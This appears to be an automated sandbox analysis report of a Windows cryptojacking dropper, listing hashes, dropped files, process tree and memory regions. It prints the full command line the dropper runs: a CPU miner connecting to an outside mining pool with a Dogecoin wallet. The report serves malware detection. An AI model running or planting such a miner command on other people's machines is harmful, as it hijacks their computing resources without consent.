73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
295s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20-02-2024 04:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3792	b2e.exe
1648	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1648	cpuminer-sse2.exe
1648	cpuminer-sse2.exe
1648	cpuminer-sse2.exe
1648	cpuminer-sse2.exe
1648	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2300-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 3792	2300	batexe.exe	74
PID 2300 wrote to memory of 3792	2300	batexe.exe	74
PID 2300 wrote to memory of 3792	2300	batexe.exe	74
PID 3792 wrote to memory of 1820	3792	b2e.exe	75
PID 3792 wrote to memory of 1820	3792	b2e.exe	75
PID 3792 wrote to memory of 1820	3792	b2e.exe	75
PID 1820 wrote to memory of 1648	1820	cmd.exe	78
PID 1820 wrote to memory of 1648	1820	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Users\Admin\AppData\Local\Temp\92F9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\92F9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\92F9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\951C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\92F9.tmp\b2e.exe

Filesize
13.6MB

MD5
8fd0433ce10c350d339dc17e5decc4d6

SHA1
90e9c8a8a3d2179c1a1126a26c2c0f4fe77da155

SHA256
03fe6e63c3533f8af2fde0b56da3d3f68d6ae105bed89056b2d2b90b8a751350

SHA512
6be12df0a0dccef07900b5bf34d2821d9722e289453bcdf2f167b88a688b0ad3b15ef5274a4277374060cce3332d083697f4cb049ffa6343632f74b2a55abe6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\92F9.tmp\b2e.exe

Filesize
11.3MB

MD5
1c641c84db97058bf056df0bcf4b533d

SHA1
97a1a428949c1f00697479792576ac1b6fd26ac3

SHA256
662c3a015845f78bdab039ebe8d1178f3bfc0816644ca3404c77d4cd66340ce0

SHA512
8465efe6204b71e420d21a7ed00aa77dc90a7277787a4c4e37f61fab72db575eb29a4cce1b2ae030eb042c35b865e32f42a85b6c97ff451457f0d3a0777a8e16

Download Submit
C:\Users\Admin\AppData\Local\Temp\951C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.9MB

MD5
8559ad5f2771233fac3855b47af524d1

SHA1
8224f495f9a002d42596e438616d2cda3f9712c1

SHA256
1d33df40fb07e4b4a5abf4665c28c0e5f6756d3c63c8f095da7bb276f790c925

SHA512
e032d7279ae6b646b853ebe07eaf6fce90c6695b42a499015b5ae22424ae4518676a67cf96bbafdfb5adadd6a984dc2b6a04fa30dcdc5298f8ea1210bfaf4ce6

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.5MB

MD5
a3c63851ea2eb693ff9db9ea7e46f0f8

SHA1
25691f792c8ecb23235538ff10799503529a3260

SHA256
c80a59b864bf28b53be4c1e20f065474e8c3488d15593f3e399d49eb0ac1ea23

SHA512
9f22644c0e1102e3f9af3d01644e1357aae7e74a7c51e512dfeb07157cc89bb19b7b304b658762bb50a86e5c349b18f81e3a1e030bb909f6f5eeb4fcf229edf5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.1MB

MD5
bf59c2459f79944dfc846ce9dd56d014

SHA1
0b6fa81f35a0a36f8b5b2430e4b1951e6df1f717

SHA256
0c57df0c2fd68b6d74b0712403d2c1782e8d201f33cdbbe0f7de8620e1295e6b

SHA512
aaac38b9a439e896ea69facbb080daf7dd9d7e8f44d6fc497e18c507ab060f85035e98338e4b2ca8bad6cef5ccf84b0ae9e87c4538204fd6d3a02e5cf58fc90d

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1648-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1648-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1648-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-43-0x0000000077870000-0x0000000077908000-memory.dmp

Filesize
608KB

Download
memory/1648-44-0x0000000001020000-0x00000000028D5000-memory.dmp

Filesize
24.7MB

Download
memory/1648-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1648-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2300-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3792-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3792-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download